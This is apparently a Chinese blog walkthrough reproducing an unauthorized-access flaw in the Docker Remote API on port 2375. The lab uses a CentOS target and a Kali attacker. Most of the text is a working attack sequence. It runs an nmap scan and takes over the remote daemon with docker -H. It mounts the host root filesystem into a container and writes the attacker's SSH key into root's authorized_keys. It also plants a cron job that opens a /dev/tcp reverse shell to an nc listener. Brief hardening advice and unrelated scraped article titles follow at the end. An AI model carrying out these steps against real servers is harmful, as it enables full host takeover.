简介

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。

一个完整的Docker有以下几个部分组成:

1.DockerClient客户端

2.Docker Daemon守护进程

3.Docker Image镜像

4.DockerContainer容器

漏洞成因

  又叫Docker Remote API未授权访问漏洞,此API主要目的是取代命令行界面;Dcoker swarm是docker下的分布化应用的本地集群,开放2375监听容器时,会调用这个API,方便的docker集群管理和扩展(绑定在0.0.0.0上,http会返回404page not fount)

漏洞影响

攻击者利用 dockerclient 或者 http 直接请求就可以访问这个API,可能导致敏感信息泄露,也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。

实验环境

目标机器: CentOS7+Docker、IP:10.1.1.200

攻击机器:Kali+Docker、IP:10.1.1.100

1.通过nmap对目标进行信息收集,发现如下端口开放

22端口:ssh默认端口

2375端口:docker远程操控(通过这个端口对远程docker deaom进行操作)

nmap -p- -sV T4 10.1.1.200

2. 已知目标开放2375端口,通过浏览器进行访问,

如果页面显示message "page not found" 代表存在漏洞

10.1.1.200:2375

3. 如若页面空白显示
01.可以通过info获取docker信息

10.1.1.200:2375/info

02.获取image列表

进行docker未授权访问漏洞利用

1. 使用docker命令连接目标机器

01.通过docker client使用-H参数连接目标主机的docker,

并使用ps -a命令查询目标系统运行的所有容器

docker -H tcp://10.1.1.200 ps -a      #列出所有容器

列出所有镜像:docker -H tcp://10.1.1.200 images

进入容器的方法一:

01.首先docker client连接目标,ps -a 查看哪些容器已经停止

02.通过start命令启动一个已经停止的容器

docker H tcp://10.1.1.200 start 3dc8d67b679d

03.attach命令连接一个已经启动容器

docker H tcp://10.1.1.200 attach  3dc8d67b679d

这样就能够获得一个docker容器的shell

方法二:

新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker)

docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像id)

Docker未授权写入ssh公钥获得shell

01.启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载),之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。

首先kali生成id_rsa公钥:ssh-keygen -t rsa

02.查看密钥

cat  /root/.ssh/id_rsa.pub

03.将生成公钥写入到目标/root/.ssh/authorized_keys文件中:

先进入容器:docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba

将生成公钥写入到目标/root/.ssh/authorized_keys文件中:

>这个代表的意思为覆盖,>>代表为追加
此处的路径为之前所挂载的路径,如果挂载root路径那就为/root/root/.ssh

写入后即可通过ssh进行连接,获取宿主机的shell:

ssh root@10.1.1.200 -i id_rsa

Docker未授权写定时任务获得shell

启动一个容器,挂载宿主机的目录(此前已挂载),之后将反弹shell的脚本写入到/etc/crontab中,攻击机nc -lvvp port会得到一个反弹的shell。

将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)

1.Kali开启监听:nc -lvvp 1212

2.写入反弹shell的脚本

echo"* * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/1212 0>&1" > /mnt/var/spool/cron/root
#*****为定时任务 此处为每分钟执行一次 /bin/bash -i >& /dev/tcp/10.1.1.101/1212 0>&1

获得目标shell

修复建议

1.设置ACL,只允许信任ip连接对应端口
2.开启TLS,使用生成的证书进行认证:
https://docs.docker.com/engine/security/protect-access/

如有问题,欢迎留言。

Docker未授权漏洞复现(合天网安实验室)相关推荐

  1. BurpSuite实战——合天网安实验室学习笔记

    burpsuite是一款功能强大的用于攻击web应用程序的集成平台,通常在服务器和客户端之间充当一个双向代理,用于截获通信过程中的数据包,对于截获到的包可以人为的进行修改和重放. 此BurpSuite ...

  2. 合天网安就业班_CTF挑战赛-合天网安实验室

    [TOCCTF挑战赛-合天网安实验室逆向解析] CTF挑战赛-合天网安实验室​sourl.cn 1.逆向100 修改后缀为.apk 安卓模拟器打开,发现要求输入Password 用Android逆向助 ...

  3. 合天网安实验室CTF-基础50-0x01

    合天网安实验室CTF-基础50-0x01 最近无聊时准备刷点题,由简到难慢慢来吧 题目描述   真的不能再简单了! 相关附件   misc50.zip 题目链接 参考解题步骤 1.下载下来的压缩包解压 ...

  4. 合天网安实验室CTF-Web100-Give Me Flag

    合天网安实验室CTF-Web100-Give Me Flag 题目描述   哎,不小心把代码弄乱惹 相关附件   web100.zip 题目链接 参考解题步骤 1.下载附件打开后是一段JavaScri ...

  5. 合天网安实验室CTF-Exp200-Come on,Exploit me!

    合天网安实验室CTF-Exp200-Come on,Exploit me! 题目描述   Audrey Tang. ⊙.⊙ 我只能说到这儿了 相关附件   exp200 题目链接 参考解题步骤 1.下 ...

  6. 合天网安实验室CTF-Steg150-一段欢快的曲调

    合天网安实验室CTF-Steg150-一段欢快的曲调 题目描述   滴滴 相关附件   stego100.wav 题目链接 参考解题步骤 1.下载的附件是一段wav格式的音频,打开听了一下,确实是欢快 ...

  7. 合天网安实验室CTF-解密100-Funny Crypto

    合天网安实验室CTF-解密100-Funny Crypto 题目描述   tgbnjuy 8ujko9 5rfgy6 相关附件 题目链接 参考解题步骤 字母 被围起来的字母 图示颜色 tgbnjuy ...

  8. 合天网安实验室-第十六周-有点另类的SSRF

    正式开始之前先普及一下SSRF漏洞的相关协议(普及内容摘自大佬博客:https://www.anquanke.com/post/id/262430#h3-4) File协议 读取本地文件用的 HTTP ...

  9. 使用burp进行暴力破解 ——合天网安实验室学习笔记

    实验链接 通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全. 链接:http://www.he ...

最新文章

  1. iOS开发基础知识--碎片44
  2. java list addall源码_Java集合:ArrayList源码分析
  3. 学习运维工程师是正确的选择,发展与前景都是和好的
  4. Kubernetes的yaml文件中的command使用
  5. Linux学习总结(14)——Linux权限控制
  6. python人工智能面试题_人工智能面试题分享(含答案)
  7. Web框架——Flask系列之宏、继承、包含(十八)
  8. Python--给数字前固定位数加零
  9. Spring MVC——数据检验步骤
  10. python是一门高级的计算机语言_为有抱负的开发者推荐的最佳 10 门编程语言
  11. 设计模式-01-设计模式简介及分类
  12. mybatis update不生效_08. mybatis一级缓存和二级缓存
  13. 爬虫系列——做爬虫必备:各大网站蜘蛛UA
  14. 规划计算机网络需要考虑,论计算机网络规划及实现
  15. png图片尺寸大小调整
  16. 近端策略优化(proximal policy optimization)算法简述
  17. 学会IDEA REST Client后,postman就可以丢掉了...
  18. 自定义控件详解(二):Path类 相关用法
  19. c 语言编程学习 编程环境_学习C ++编程语言的前5个网站
  20. ajax的eval的作用,为什么用eval()

热门文章

  1. 案例7-1.3 寻找大富翁 (25分)
  2. parzen窗估计如何进行结果分析_Parzen窗方法的分析和研讨
  3. ESP8266 WIFI模块学习之路(7)——自写Android手机APP接受单片机数据
  4. 倒排索引c语言,Inverted Index(倒排索引)
  5. 遥感图像计算机自动分类原理,第30讲:8.1遥感图像自动识别分类
  6. excel按条件选择工作表_在Excel工作表中选择“实际使用范围”
  7. Android M及以上版本系统 悬浮窗权限 的解决方案
  8. svn 提交仍处于树冲突 One or more files are in a conflicted state
  9. Java基础-Java概述(第一、二章)
  10. windows11专业工作站版